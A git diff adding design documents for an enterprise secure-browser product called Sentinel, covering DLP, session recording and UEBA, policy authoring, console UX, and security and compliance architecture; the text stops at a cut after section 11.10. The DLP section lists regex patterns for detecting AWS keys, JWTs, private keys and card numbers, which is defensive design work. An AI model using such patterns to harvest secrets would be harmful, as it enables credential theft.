a/docs/deliverables/07-dlp-engine-design.md b/docs/deliverables/07-dlp-engine-design.md new file mode 100644 index 00000000..aa54f556 --- /dev/null +++ b/docs/deliverables/07-dlp-engine-design.md @@ -0,0 +1,127 @@ +# Deliverable 7: DLP Engine Design + +## Scope Statement + +This document defines Sentinel's multi-layer DLP engine, decision logic, UX behavior, feedback loop, and performance/privacy guardrails for browser-native data protection. + +## 1. Classification Taxonomy + +| Category | Examples | Default Action | +|---|---|---| +| PCI | PAN-like values, BIN patterns | block or require approval | +| Credentials | API keys, JWT, private keys | block | +| PII | email + national IDs | warn/block by policy | +| PHI | diagnosis and medical identifiers | block in non-approved apps | +| Internal Secrets | project IDs, source snippets, trade logic | warn/block | + +## 2. Detection Layers + +| Layer | Method | Target p95 | +|---|---|---| +| L1 Regex | curated high-signal patterns | <5ms | +| L2 EDM | salted hash dictionary matching | <8ms | +| L3 Fingerprinting | rolling/rabin hash document fragments | <10ms | +| L4 ML | ONNX inference for semantic labels | <20ms | +| L5 OCR | Tesseract + ONNX image extraction | async preferred; sync <40ms for small images | +| L6 GenAI Prompt | DOM interception + LLM prompt classifier | <25ms | + +### Starter Regex Library (examples) + +```regex +\b(?:4[0-9]{12}(?:[0-9]{3})?)\b # Visa-like PAN +\bAKIA[0-9A-Z]{16}\b # AWS access key +\beyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b # JWT-like +-----BEGIN (?:RSA|EC|OPENSSH) PRIVATE KEY----- # Private key header +``` + +## 3. Decision Engine + +```mermaid +flowchart LR + E[Browser Event] --> C[Classifier Pipeline] + C --> R[Risk Score + Policy Context] + R --> D{Decision} + D -->|allow| A[Proceed] + D -->|warn| W[User Warning Toast] + D -->|redact| X[Client Redaction] + D -->|block| B[Block + Explain] + D -->|approval| M[Manager Approval Workflow] + D -->|RBI| I[Redirect to RBI] +``` + +Actions supported: `allow`, `warn`, `redact`, `block`, `redirect_to_rbi`, `require_justification`, `require_approval`. + +## 4. UX Specification (textual wireframes) + +1. **Inline toast**: "Sensitive company secret detected. Action requires justification." +2. **Modal blocker**: includes reason code, matched classifier, policy owner. +3. **RBI redirect page**: one-click continue in isolated session. +4. **Manager approval card** (Slack/email): allow once, allow for 24h, deny. + +## 5. False Positive Tuning Loop + +| Step | Mechanism | +|---|---| +| Feedback capture | user marks "false positive" with context tags | +| Analyst review | triage queue with confidence distribution | +| Policy update | threshold/rule tuning in shadow mode | +| Retraining | weekly incremental model updates | +| Safety gate | regression test corpus + holdout precision minimum | + +## 6. Bamboo Card-Specific Patterns + +- Gift-card BIN ranges and issuer prefixes. +- Statero product codes and settlement identifiers. +- Internal project IDs and release codenames. + +## 7. Custom Classifier Training + +1. Tenant uploads labeled corpus (minimum 500 examples/class recommended). +2. Data sanitization and leakage scan. +3. Fine-tuning or threshold adjustment flow. +4. Shadow deployment. +5. Promote when precision/recall gates pass. + +## 8. Privacy by Design + +- Never persist raw matched secrets. +- Store only classifier metadata, confidence, action, and hashed context. +- Sensitive evidence access restricted by role and legal hold flags. + +## 9. Threat Model + +| Threat | Mitigation | +|---|---| +| Evasion by obfuscation | multi-layer detection incl. semantic models | +| Prompt injection to bypass checks | pre-send DOM hooks + rule hard blocks | +| Model poisoning | curated training pipeline + signed datasets | +| Data leakage in logs | strict redaction middleware | +| Decision latency abuse | bounded inference path + fallback actions | + +## 10. Performance Budget and Measurement Plan + +| Metric | Target | Measurement | +|---|---|---| +| Synchronous DLP verdict | <=50ms p95 | browser trace + service histogram | +| False positive rate (high-signal classes) | <3% after tuning | labeled incident review | +| Miss rate for seeded canary secrets | <1% | continuous canary campaign | + +## 11. Compliance Mapping (sample) + +| Framework Control | Sentinel Feature | Evidence | Coverage | +|---|---|---|---| +| ISO 27001:2022 A.8.12 | DLP content inspection | policy export + incident logs | fully | +| PCI DSS 4.0 Req 3/4 | PAN exfiltration prevention | DLP rule set + blocked incidents | contributes-to | +| GDPR Art.25 | data minimization logging | redaction config and audits | fully | + +## 12. Assumptions & Open Questions + +### Assumptions +1. Tenants can provide limited labeled datasets for tuning. +2. OCR-heavy checks default async for large objects. + +### Open Questions +1. Which GenAI domains must be hardcoded in v1 managed list? +2. Are approval workflows required for all blocked classes or only selected ones? + +**Deliverable 7 of 15 complete. Ready for Deliverable 8 — proceed?** diff --git a/docs/deliverables/08-session-recording-monitoring-and-ueba.md b/docs/deliverables/08-session-recording-monitoring-and-ueba.md new file mode 100644 index 00000000..422f1dac --- /dev/null +++ b/docs/deliverables/08-session-recording-monitoring-and-ueba.md @@ -0,0 +1,126 @@ +# Deliverable 8: Session Recording, Monitoring, and UEBA + +## Scope Statement + +This document defines Sentinel session capture, encryption/storage, playback, privacy controls, UEBA modeling, and SIEM/SOAR integrations. + +## 1. Recording Modes Decision Tree + +```mermaid +flowchart TD + A[Session Start] --> B{Policy Mode} + B -->|always| R1[Record Full Session] + B -->|sensitive-app-only| C{URL/App Match?} + C -->|yes| R1 + C -->|no| R0[No Recording] + B -->|on-alert| D{Risk Triggered?} + D -->|yes| R2[Start Recording + Marker] + D -->|no| R0 + B -->|sampled| E{Sampling Hit?} + E -->|yes| R3[Sampled Recording] + E -->|no| R0 +``` + +## 2. Capture Format + +| Stream | Format | +|---|---| +| DOM | rrweb event stream | +| Video | WebCodecs fragments (H.264/VP9 by profile) | +| Keystroke | classified metadata only; sensitive fields masked | +| Network metadata | destination domain, bytes, policy action | + +## 3. Encryption and Storage + +- Per-session DEK: AES-256-GCM. +- DEK wrapped by tenant KMS key. +- Object storage on S3/MinIO with object lock (WORM). +- Lifecycle: hot 90 days, cold archive thereafter; legal hold override. + +## 4. Playback + +Features: +1. timeline scrub and speed controls +2. incident markers (DLP, policy blocks, risk spikes) +3. redaction overlays +4. forensic export package with integrity hashes + +## 5. Privacy-Preserving Capture + +| Control | Mechanism | +|---|---| +| password masking | HTML input type + selector-based redaction | +| payment field masking | regex + field metadata masks | +| custom selectors | tenant-configured CSS selectors for redaction | +| capture notice | policy-driven user notice banner | + +## 6. Indexing and Search + +- OCR index for key frame snapshots. +- Full-text indexing of DOM text after redaction. +- Query by user/device/domain/action/time range. + +## 7. UEBA Design + +### Baseline +- 7-30 day baseline per user and peer group. + +### Features +- session duration +- login time and geo variance +- download/upload volume +- clipboard frequency +- policy trigger frequency + +### Models +- Isolation Forest for anomaly outliers. +- Sequence model (LSTM-lite) for workflow deviation. +- Peer-group deviation scoring. + +### Risk Score +- Output: 0-100 risk with feature attribution. +- Alert threshold default: 75. + +## 8. Alert Fatigue Controls + +- deduplicate correlated alerts per session. +- minimum confidence threshold and suppression windows. +- analyst feedback integrated into threshold tuning. + +## 9. Integration Flow + +| Destination | Payload | +|---|---| +| TheHive | alert with session ID, risk factors, links | +| Cortex | playbook trigger metadata | +| Wazuh/OpenSearch | searchable event and risk streams | + +## 10. Threat Model + +| Threat | Mitigation | Recovery | +|---|---|---| +| Recording tampering | object lock + hash chain | immutable restore | +| Unauthorized playback | strict RBAC + approval controls | access revoke + incident | +| Sensitive over-capture | redaction policy + classifier | purge request pipeline | +| Model drift | periodic retraining + quality checks | rollback model version | +| Alert storm | correlation + rate limits | degrade to essential signals | + +## 11. Compliance Mapping (sample) + +| Control | Feature | Evidence | Coverage | +|---|---|---|---| +| ISO 27001 A.8.16 | monitoring and activity logs | recording/audit exports | fully | +| PCI DSS Req 10 | activity tracking | immutable event chain | fully | +| GDPR Art.5 | minimization and retention | redaction + lifecycle config | partially | + +## 12. Assumptions & Open Questions + +### Assumptions +1. Session recording is policy-scoped, not universal by default. +2. Legal hold support is mandatory for enterprise tier. + +### Open Questions +1. Which jurisdictions require explicit user consent banners by default? +2. Is keystroke metadata required in all tiers or enterprise only? + +**Deliverable 8 of 15 complete. Ready for Deliverable 9 — proceed?** diff --git a/docs/deliverables/09-policy-engine-and-natural-language-authoring.md b/docs/deliverables/09-policy-engine-and-natural-language-authoring.md new file mode 100644 index 00000000..a72b919d --- /dev/null +++ b/docs/deliverables/09-policy-engine-and-natural-language-authoring.md @@ -0,0 +1,125 @@ +# Deliverable 9: Policy Engine & Natural-Language Authoring + +## Scope Statement + +This document specifies Sentinel policy language/runtime, lifecycle, testing strategy, conflict resolution, and natural-language compiler architecture. + +## 1. Policy Runtime Decision + +### ADR-09-01: Rego/OPA Primary +- **Context**: needs deterministic low-latency policy evaluation and auditable decisions. +- **Options**: Rego/OPA, Cedar, custom DSL engine. +- **Decision**: Rego/OPA primary, Cedar adapter optional. +- **Consequences**: rich ecosystem but steeper learning. +- **Rejected**: custom engine due verification burden; Cedar primary due AWS-coupling risk. +- **Revisit trigger**: policy authoring friction remains high after GUI/NL tooling rollout. + +## 2. DSL Grammar (EBNF for Sentinel Wrapper) + +```ebnf +policy = "policy" identifier "{" rule+ "}" ; +rule = "when" condition "then" action ; +condition = expression { ("and" | "or") expression } ; +expression = field operator value ; +action = "allow" | "deny" | "warn" | "require_approval" | "redirect_rbi" ; +field = "user.role" | "device.posture" | "resource.domain" | "event.type" ; +operator = "==" | "!=" | "in" | "matches" | ">" | "<" ; +value = string | number | list ; +``` + +## 3. Scope Model + +`tenant -> org_unit -> team -> role -> user -> device -> session` + +Evaluation follows inherited context with deny-overrides semantics. + +## 4. Policy Bundle Lifecycle + +```mermaid +flowchart LR + A[Author] --> B[Test] + B --> C[Review] + C --> D[Stage] + D --> E[Deploy] + E --> F[Observe] + F --> G{Issue?} + G -->|yes| H[Rollback] + G -->|no| I[Promote] +``` + +## 5. GitOps Integration + +- policy source in git repository per tenant. +- signed commits required for promotion. +- CI runs unit tests + regression suite + compile checks. + +## 6. NL-to-Policy Compiler + +| Stage | Description | +|---|---| +| Input | admin natural language request | +| Parser | constrained prompt to produce structured intent JSON | +| Validator | schema validation + forbidden pattern checks | +| Compiler | intent JSON -> Rego rules + tests | +| Simulator | shadow run impact report before apply | + +Example: +- Input: "contractors cannot download files from GitHub." +- Output: Rego deny rule scoped to role=contractor and destination domain=github.com with action `deny`. + +## 7. Shadow / Dry-Run Mode + +- Policy evaluated and logged without enforcement. +- Impact report: affected users, events, potential false positives. +- Promotion gate requires acceptable impact threshold. + +## 8. Conflict Resolution + +| Strategy | Selected | +|---|---| +| deny-overrides | yes | +| allow-overrides | no | +| explicit priority tiers | yes (tenant > unit > team > user) | + +## 9. Performance Budget + +| Metric | Target | +|---|---| +| policy evaluation | `<10ms` p95 | +| bundle fetch | `<200ms` p95 | +| rollback activation | `<60s` globally | + +## 10. Example Policy Set (10) + +1. Block uploads of PCI patterns to unsanctioned domains. +2. Require justification for clipboard from finance apps. +3. Deny downloads on unmanaged devices. +4. Redirect high-risk domains to RBI. +5. Permit developers to push to approved repos only. +6. Require manager approval for source archive exports. +7. Force MFA re-check for privileged admin actions. +8. Restrict login by geo policy. +9. Disable extension install outside allowlist. +10. Enforce work profile border/watermark for sensitive apps. + +## 11. Threat Model + +| Threat | Mitigation | +|---|---| +| policy injection | schema + static validation + code review | +| privilege escalation via scope abuse | hierarchical auth checks | +| policy drift | signed bundle hash checks | +| compiler hallucination | deterministic output schema + tests | +| rollback abuse | dual-control approval for emergency rollback | + +## 12. Assumptions & Open Questions + +### Assumptions +1. Security admins can adopt policy-as-code with guided UX. +2. Shadow mode is acceptable as mandatory step for high-impact policies. + +### Open Questions +1. Which policy changes require two-person approval in all tiers? +2. Is tenant-level custom DSL exposure needed or Rego-only under hood? + +**Deliverable 9 of 15 complete. Ready for Deliverable 10 — proceed?** diff --git a/docs/deliverables/10-admin-console-end-user-msp-mobile-specs.md b/docs/deliverables/10-admin-console-end-user-msp-mobile-specs.md new file mode 100644 index 00000000..9ce4484b --- /dev/null +++ b/docs/deliverables/10-admin-console-end-user-msp-mobile-specs.md @@ -0,0 +1,165 @@ +# Deliverable 10: Admin Console, End-User UX, MSP Console, and Mobile Specs + +## 1. Scope Statement +This deliverable defines information architecture, role-based permissions, core user journeys, accessibility, and mobile integration for NNSEC Sentinel across tenant admins, analysts, compliance teams, MSP operators, and end users. + +## 2. Stack and Frontend Architecture + +| Layer | Selection | Rationale | +|---|---|---| +| Framework | Next.js 15 (App Router) | Server components for scalable dashboard rendering | +| Language | TypeScript 5.x | Type-safe API contracts | +| UI | shadcn/ui + Tailwind CSS | Fast, accessible enterprise components | +| Data Fetching | TanStack Query | Cache + retry + background refresh | +| Client State | Zustand | Lightweight scoped state | +| Auth | OIDC via Keycloak + PKCE | Unified with Sentinel identity | +| Audit | Event bus to Audit Log Service | Every critical action traceable | + +## 3. IA and Navigation + +```mermaid +flowchart TD + A[Console Home] --> B[Tenant Overview] + A --> C[Devices] + A --> D[Users and Access] + A --> E[Policies] + A --> F[DLP Incidents] + A --> G[Session Replay] + A --> H[Threat Intelligence] + A --> I[Shadow IT] + A --> J[Compliance Workspace] + A --> K[Audit Explorer] + A --> L[AI Analyst] + A --> M[Billing and Licensing] + A --> N[MSP Super Console] +``` + +## 4. RBAC Matrix + +| Action | Super Admin | Tenant Admin | Security Admin | Compliance Officer | Helpdesk | MSP Partner Admin | Auditor | +|---|---:|---:|---:|---:|---:|---:|---:| +| Manage tenant settings | Y | Y | N | N | N | Y | N | +| Deploy policies | Y | Y | Y | N | N | Y | N | +| Approve DLP justification | Y | Y | Y | N | N | Y | N | +| View session replay | Y | Y | Y | Y | Limited | Y | Read-only | +| Export compliance evidence | Y | Y | N | Y | N | Y | Y | +| Manage billing | Y | Y | N | N | N | Y | N | +| Cross-tenant view | Y | N | N | N | N | Y | N | + +## 5. Key Screen Specifications + +### 5.1 Tenant Overview +- KPI cards: protected sessions, blocked threats, DLP incidents, policy health. +- p95 data freshness: < 30s. +- Drilldown: by org unit, team, geography. + +### 5.2 Policy Authoring +- Tabs: Visual Builder, Natural Language, YAML/Rego source. +- Shadow mode toggle and impact preview. +- Signed deploy workflow with two-person approval. + +### 5.3 DLP Incident Queue +- Columns: severity, data class, destination app, user, disposition. +- Actions: assign, approve, block retroactively, notify manager. +- SLA banners for overdue incidents. + +### 5.4 Session Replay Viewer +- Timeline + event markers (download/upload/clipboard/policy hit). +- Redaction overlays render before frame decode. +- Legal hold lock indicator. + +### 5.5 Threat Map +- Geo-aggregation by egress PoP and destination ASN. +- Time window controls (15m, 1h, 24h, 7d). + +### 5.6 Dark Web Alerts +- Credential leak feed with exposure age and confidence. +- Playbook button to force reset + invalidate sessions. + +### 5.7 Shadow IT Workspace +- Discovered app inventory, OAuth grants, app risk score. +- Policy action: sanction, monitor, block. + +### 5.8 Compliance Workspace +- Framework > control > evidence hierarchy. +- Auto-generated evidence packs for ISO 27001, PCI DSS, SOC 2. + +### 5.9 Merkle Audit Explorer +- Query by actor/action/resource/time. +- Merkle proof verification UI and blockchain anchor status. + +### 5.10 AI Analyst Chat +- Grounded answers over approved telemetry indexes. +- Action proposals require explicit human approval. + +### 5.11 MSP Master Console +- Tenant picker with strict isolation. +- Per-tenant branding and feature entitlements. + +### 5.12 Billing and Licensing +- Seat usage, overage trend, invoice status. +- Offline token management for air-gapped deployments. + +## 6. End-User Browser UX + +### 6.1 First-Run Onboarding +1. User signs in with enterprise IdP. +2. Device posture check runs. +3. Policy bundle fetched and pinned. +4. Work profile activated with persistent border indicator. + +### 6.2 Work/Personal Profile Split +- Blue border equivalent for managed profile. +- Copy/paste and downloads governed only in managed profile. +- Explicit cross-profile warnings. + +### 6.3 Permission Prompts +- Policy-aware permission modals for clipboard, downloads, screenshots. +- Blocking reason references policy ID and remediation steps. + +### 6.4 Password Vault UX +- In-browser vault panel with origin-verified autofill. +- Passkey enrollment and hardware key prompts. + +### 6.5 Connection State Bar +- VPN/ZTNA status, gateway region, threat blocks count, DLP mode. + +## 7. Mobile UX and Management + +| Platform | Core Integration | UX Constraints | +|---|---|---| +| iOS | MDM-managed app config + Network Extension | No global screenshot prevention; app-level controls only | +| Android | Work Profile + Managed Config + FLAG_SECURE | BYOD split-profile strongly supported | + +## 8. Internationalization and Accessibility + +### 8.1 i18n +- v1 languages: English. +- roadmap: Arabic, Russian, Turkish, Azerbaijani, Hindi, Mandarin. +- Key requirement: bi-directional layout support for Arabic. + +### 8.2 Accessibility +- WCAG 2.2 AA baseline across all screens. +- Critical flows targeted toward AAA where feasible: + - incident response, + - policy rollback, + - emergency lockout. + +## 9. UX Performance Budgets + +| Metric | Target | +|---|---| +| Initial dashboard paint | < 1.5s p75 (enterprise WAN) | +| Screen transition | < 300ms p95 | +| Incident list query | < 400ms p95 | +| Replay seek latency | < 700ms p95 | + +## 10. Assumptions and Open Questions + +### 10.1 Assumptions +- Existing enterprise users are familiar with SOC tooling patterns. +- Keycloak branding can be customized per tenant for SSO consistency. + +### 10.2 Open Questions +- Which exact data visualizations are mandatory for Bamboo Card board reporting? +- Should MSP super console support delegated tenant admin login tokens? diff --git a/docs/deliverables/11-security-cryptography-and-compliance-architecture.md b/docs/deliverables/11-security-cryptography-and-compliance-architecture.md new file mode 100644 index 00000000..18f29169 --- /dev/null +++ b/docs/deliverables/11-security-cryptography-and-compliance-architecture.md @@ -0,0 +1,279 @@ +# Deliverable 11 - Security, Cryptography, and Compliance Architecture + +## Scope Statement + +This deliverable defines NNSEC Sentinel's security architecture, cryptographic standards, key and secret management, zero-trust workload identity, comprehensive compliance mappings, vulnerability and incident management, and software supply-chain controls. It includes explicit framework-control mappings and evidence artifacts for regulated enterprise operation. + +## 11.1 Enterprise Security Requirements (Enumerated, Non-Vague) + +Sentinel "enterprise-grade" means all of the following are implemented and measurable: + +1. Tenant-isolated cryptographic domains with per-tenant key material. +2. mTLS authentication for all east-west service calls. +3. Tamper-evident immutable audit trail with verifiable integrity proofs. +4. Deterministic, testable policy decisions (<10 ms p95) with signed policy bundles. +5. 24x7 vulnerability management with severity-based SLA and automated ticket routing. +6. Evidence-on-demand for PCI DSS v4.0, ISO 27001:2022, SOC 2 Type II, GDPR, UAE PDPL. +7. Reproducible build provenance and signed release artifacts (SLSA L3 path). +8. Incident response runbooks with timeline reconstruction under 30 minutes from alert. +9. Browser-bound IdP access where unmanaged browsers fail before reaching the IdP login flow. + +## 11.2 Cryptographic Architecture Inventory + +### 11.2.1 Protocol and Cipher Policy + +| Layer | Policy | Notes | +|---|---|---| +| External API traffic | TLS 1.3 only | TLS 1.2 temporary exception for legacy SIEM integration endpoint; sunset by GA+2 quarters | +| Service-to-service | mTLS with SPIFFE SVID | X.509 SVID rotation every 24h | +| Data at rest (object) | AES-256-GCM | Envelope-encrypted object key per object/session | +| Data at rest (database) | AES-256 (storage) + column crypto | pgcrypto for sensitive columns | +| Low-latency streaming channels | ChaCha20-Poly1305 fallback | For clients without AES-NI performance | +| Signatures (modern) | Ed25519 | Policy bundle signatures, offline license tokens | +| KEX | X25519 | Default key exchange | +| Compatibility | ECDSA P-256, RSA-3072 | Legacy enterprise endpoints | + +### 11.2.2 Key Hierarchy + +```text +Root of Trust (CloudHSM-backed tenant root keys) + -> Service KEKs (per service, per tenant, rotated 90 days) + -> DEKs (per object/session/event batch, rotated per write policy) + -> In-memory ephemeral keys (process lifetime only) +``` + +### 11.2.3 Post-Quantum Roadmap + +| Version Track | PQC State | Compatibility | +|---|---|---| +| v1 | Classical crypto only, PQC-ready abstractions | N/A | +| v2 | Hybrid handshake pilot: X25519 + ML-KEM | Select APIs and control channels | +| v3 | ML-KEM and ML-DSA production options with policy toggle | Regulated tenant opt-in then default | + +NIST references: FIPS 203 (ML-KEM), FIPS 204 (ML-DSA). Revisit trigger: broad vendor support and FIPS-validated module availability in target runtimes. + +## 11.3 ADRs (Security and Cryptography) + +### ADR-SEC-11-000: Four-layer browser-bound IdP enforcement + +**Context:** Sentinel must prove that SSO login requests originate from enrolled Sentinel browsers on attested devices, not generic browsers. + +**Options considered:** +1) Conditional access only (source IP + user-agent) +2) mTLS only +3) Layered model: mTLS + signed attestation + gateway + conditional access + +**Decision:** Use the layered model. mTLS and signed attestation are mandatory; conditional access is auxiliary; gateway enforces checks before forwarding to IdP. + +**Consequences:** +- Positive: Strong resistance to unmanaged-browser access and token replay. +- Negative: Additional integration complexity (gateway + IdP plugin/policy updates). +- Neutral: Introduces one additional high-availability component in auth path. + +**Alternatives rejected:** +- Conditional-access-only is trivially bypassable via spoofed user-agent and proxied traffic. +- mTLS-only does not capture posture state and has weaker replay semantics. + +**Revisit trigger:** If false-reject rate exceeds 1% p95 over 7 days or mobile-platform constraints require temporary fallback mode. + +### ADR-SEC-11-001: Managed HSM vs self-hosted HSM + +**Context:** Tenant key segregation and high-assurance cryptographic operations are required for PCI and enterprise procurement. + +**Options considered:** +1) AWS CloudHSM primary +2) Self-hosted SoftHSM/PKCS#11 on Kubernetes +3) Third-party external key management SaaS + +**Decision:** Use AWS CloudHSM as primary for production key roots; YubiHSM2 for offline MSP signing and disaster-recovery escrow workflows. + +**Consequences:** +- Positive: Hardware-backed key controls, auditability, enterprise trust. +- Negative: Higher recurring cost, cloud lock-in risk. +- Neutral: Requires key ceremony SOP and operator training. + +**Alternatives rejected:** +- Self-hosted SoftHSM lacks strong hardware assurances for high-sensitivity tiers. +- External KMS SaaS may introduce jurisdiction and contractual complexity for UAE/PCI constraints. + +**Revisit trigger:** Multi-cloud demand exceeding 30% of ARR or non-AWS sovereign cloud requirements. + +### ADR-SEC-11-002: Vault choice for secrets + +**Context:** Sentinel services need dynamic credentials and secret rotation across cloud and potentially air-gapped deployment modes. + +**Options considered:** +1) AWS Secrets Manager only +2) HashiCorp Vault only +3) Hybrid approach + +**Decision:** Hybrid: AWS Secrets Manager for AWS-native deployments; Vault-supported mode for hybrid/on-prem/air-gapped customers. + +**Consequences:** +- Positive: Flexibility across deployment topologies. +- Negative: Dual operational models and testing burden. +- Neutral: Shared secret schema is mandatory. + +**Alternatives rejected:** Single-vendor model not compatible with stated multi-cloud and on-prem requirements. + +**Revisit trigger:** Adoption data indicates >85% homogeneous cloud deployments for four consecutive quarters. + +## 11.4 Compliance Mapping Tables (Representative Coverage) + +### 11.4.1 ISO 27001:2022 (Representative subset, full catalog in compliance workspace seed) + +| Control ID | Sentinel Feature | Evidence Artifact | Status | +|---|---|---|---| +| A.5.15 Access control | Policy engine + RBAC + conditional access | Policy export, RBAC matrix, access review logs | Fully | +| A.5.16 Identity management | Identity broker + SCIM provisioning | SCIM sync audit logs, onboarding/offboarding records | Fully | +| A.5.23 Information security in supplier relationships | Third-party feed risk register | Vendor assessments, subprocessor inventory | Partially | +| A.8.16 Monitoring activities | Session telemetry, UEBA, SIEM integration | Monitoring dashboards, alert records | Fully | +| A.8.23 Web filtering | DNS filtering + URL policy engine | Blocklist diffs, policy assignment logs | Fully | +| A.8.28 Secure coding | SDLC controls, SAST/DAST gates | CI logs, code review evidence, vuln SLAs | Contributes-to | + +### 11.4.2 PCI DSS v4.0 (Core requirements) + +| PCI Req | Sentinel Feature | Evidence Artifact | Status | +|---|---|---|---| +| 4 - Protect cardholder data with strong cryptography in transit | TLS 1.3, mTLS internal | TLS config snapshots, scanner output | Fully | +| 6 - Develop secure systems/software | CI security gates + dependency policy | Pipeline logs, SBOM, exception register | Contributes-to | +| 7 - Restrict access by need to know | RBAC + scoped policy + JIT | Access review and policy audit trail | Fully | +| 8 - Identify users and authenticate access | SSO/MFA/Device posture | IdP logs, conditional access reports | Fully | +| 10 - Log and monitor all access | Immutable audit logs, SIEM feed | Hash-chain verification reports | Fully | +| 11 - Test security regularly | Quarterly pen tests + continuous scanning | Pen test reports, remediation trackers | Fully | +| 12 - Security governance | IR plans, policy governance workflow | Policy docs, tabletop records | Contributes-to | + +### 11.4.3 SOC 2 Type II (TSC) + +| TSC | Sentinel Controls | Evidence | Status | +|---|---|---|---| +| Security | IAM, encryption, monitoring, secure SDLC | SOC evidence package export | Fully | +| Availability | Multi-region DR, SLO/error budgets | SLO dashboards and incident postmortems | Fully | +| Processing Integrity | Deterministic policy evaluation and tests | Policy test results, change controls | Fully | +| Confidentiality | DLP, encryption, tenant isolation | Data classification matrix, access logs | Fully | +| Privacy | DSR workflows, minimization, retention | DSR tickets and deletion proofs | Partially (org process dependent) | + +### 11.4.4 GDPR / UAE PDPL / HIPAA / NIS2 / Cyber Essentials Plus + +| Framework Article/Control | Sentinel Mapping | Evidence | Status | +|---|---|---|---| +| GDPR Art. 25 (privacy by design) | Default minimization, redaction, retention defaults | System design docs, config baselines | Contributes-to | +| GDPR Art. 30 (records of processing) | Processing inventory in compliance workspace | Data processing register export | Partially | +| GDPR Art. 32 (security of processing) | Encryption + access control + monitoring | Crypto config and access logs | Fully | +| UAE PDPL (data subject rights) | Export/delete/rectify APIs + workflow | DSR audit reports | Partially | +| HIPAA 164.312 (technical safeguards) | Access control, transmission security, audit controls | Audit trail and access reports | Contributes-to | +| NIS2 (risk management) | Risk register, incident workflow | Risk dashboard and IR records | Contributes-to | +| Cyber Essentials Plus controls | Secure config, malware protection, updates | Hardening baselines and vuln scans | Contributes-to | + +### 11.4.5 Browser-Bound IdP Control Mapping + +| Control | Sentinel Mechanism | Evidence Artifact | Status | +|---|---|---|---| +| ISO 27001:2022 A.5.16 Identity management | Device-bound mTLS cert + attestation key registry | cert issuance logs, key enrollment records | Fully | +| ISO 27001:2022 A.8.16 Monitoring activities | gateway deny reason telemetry + replay alerts | dashboard snapshots, SIEM alerts | Fully | +| PCI DSS v4.0 Req 8 (Identify users/authenticate) | pre-IdP attestation checks with posture threshold | auth decision logs, policy config export | Fully | +| SOC 2 CC6 Logical Access | layered access gate before IdP token issuance | gateway audit logs + IdP conditional policy snapshot | Fully | +| GDPR Art. 32 Security of processing | replay resistance and non-exportable key usage | threat model, architecture docs, test evidence | Contributes-to | + +## 11.5 Threat Model (STRIDE across cryptographic and compliance surfaces) + +| Threat | Category | Impact | Mitigation | Residual | +|---|---|---|---|---| +| Stolen service identity cert used for API impersonation | Spoofing | Unauthorized calls | SPIFFE cert TTL 24h, revocation, mTLS authz, behavior anomaly alerts | Low | +| Altered audit logs before export | Tampering | Compliance failure | Append-only Merkle chain, object lock, external hash anchors | Low | +| Admin denies policy change action | Repudiation | Investigation gap | Signed commits, immutable change audit, approval workflow | Low | +| Key metadata leakage through verbose logs | Information disclosure | Key lifecycle intel leak | Structured logging denylist, secret scanners in CI, runtime log scrubbing | Medium | +| KMS outage blocks new session key generation | DoS | User impact | Local sealed key cache with TTL, fallback region KMS, degrade mode | Medium | +| Abuse of compliance export endpoint | Elevation of privilege | Bulk sensitive data exfil | Scoped roles, export watermarking, rate-limits, approval for mass export | Medium | +| Replay of `X-Sentinel-Attestation` header | Replay | Unauthorized login reuse | nonce cache + timestamp freshness <=60s + device-cert subject binding | Low | +| Unmanaged browser attempts direct IdP login | Spoofing | Policy bypass attempt | mTLS mandatory endpoint + gateway deny-before-IdP | Low | + +## 11.6 Vulnerability Management Program + +| Severity | Target SLA (triage) | Target SLA (fix in prod) | Escalation | +|---|---|---|---| +| Critical (CVSS >=9 or exploited) | 2 hours | 24 hours | CISO + on-call engineering manager | +| High | 24 hours | 7 days | Security lead + service owner | +| Medium | 3 business days | 30 days | Product security + team lead | +| Low | 10 business days | 90 days | Backlog governance | + +EPSS is used as an override to raise priority when exploitation probability is high even at medium CVSS. + +## 11.7 Pen-Test, Bug Bounty, and Incident Response + +### 11.7.1 Penetration Testing + +- Cadence: quarterly external pen test, monthly internal red-team-style abuse tests on high-risk flows. +- Providers: CREST-certified firms for external; rotating provider model annually. +- Scope includes browser client, admin APIs, tenant isolation, update channel, and policy compiler. +- Fix SLAs follow section 11.6. + +### 11.7.2 Bug Bounty + +| Program Element | Plan | +|---|---| +| Platform | HackerOne or Bugcrowd | +| Initial scope | Admin API, tenant isolation, browser policy bypass, update service | +| Reward bands | Low $300-$800, Medium $800-$2,500, High $2,500-$8,000, Critical $8,000-$25,000 | +| Safe harbor | Standard legal safe-harbor language, no customer data access allowed | + +### 11.7.3 Incident Response + +| Phase | Target Time | +|---|---| +| Detection to triage | <15 minutes for P1 alerts | +| Triage to containment | <60 minutes | +| Containment to eradication plan | <4 hours | +| Regulatory notification determination | <24 hours | + +Tabletop exercises: monthly for security engineering, quarterly cross-functional. + +## 11.8 Supply Chain Security Architecture + +| Control | Implementation | +|---|---| +| SLSA level | Path to SLSA L3 by GA via hardened build, provenance attestations | +| Provenance signatures | Sigstore Fulcio/Rekor for containers and binary metadata | +| SBOM | CycloneDX + SPDX generated every release | +| Dependency governance | Pinning and allowlist for critical dependencies, transitive-risk policy | +| Artifact signing | Cosign for OCI, GPG/platform signing for binaries | +| Verification gates | Admission control denies unsigned/unprovenanced artifacts | + +## 11.9 Performance and Resilience Budgets for Security Controls + +| Control Path | Budget | +|---|---| +| mTLS handshake overhead (intra-region) | <15 ms p95 | +| Attestation verification at gateway | <25 ms p95 | +| Audit append write latency | <30 ms p95 | +| Merkle chunking batch finalization | <2 s every 1,000 events | +| Key unwrap per session | <20 ms p95 | +| Compliance evidence query response | <2 s p95 for 7-day window | + +Measurement plan: OpenTelemetry spans tagged by control-path; dashboards with SLO burn alerts. + +## 11.10 Risk Register (Security and Compliance) + +| Risk | L | I | Score | Mitigation | Owner | Residual | +|---|---:|---:|---:|---|---|---| +| Cross-tenant data leak via query bug | 2 | 5 | 10 | RLS tests, tenant isolation fuzzing, canary tenants | Platform Security Lead | Medium | +| Delayed patching in Chromium fork | 3 | 5 | 15 | Weekly sync cadence, emergency patch lane | Browser Platform Lead | Medium | +| HSM/KMS misconfiguration | 2 | 4 | 8 | IaC policy checks, dual-control key ceremony | Security Engineering Manager | Low | +| Insufficient evidence quality for audits | 3 | 4 | 12 | Automated evidence capture with owner assignment | Compliance Program Manager | Medium | +| Legal/regional transfer misalignment | 2 | 5 | 10 | Data residency options, DPA clauses, legal review gates | Legal Counsel + CISO | Medium | + +## 11.11 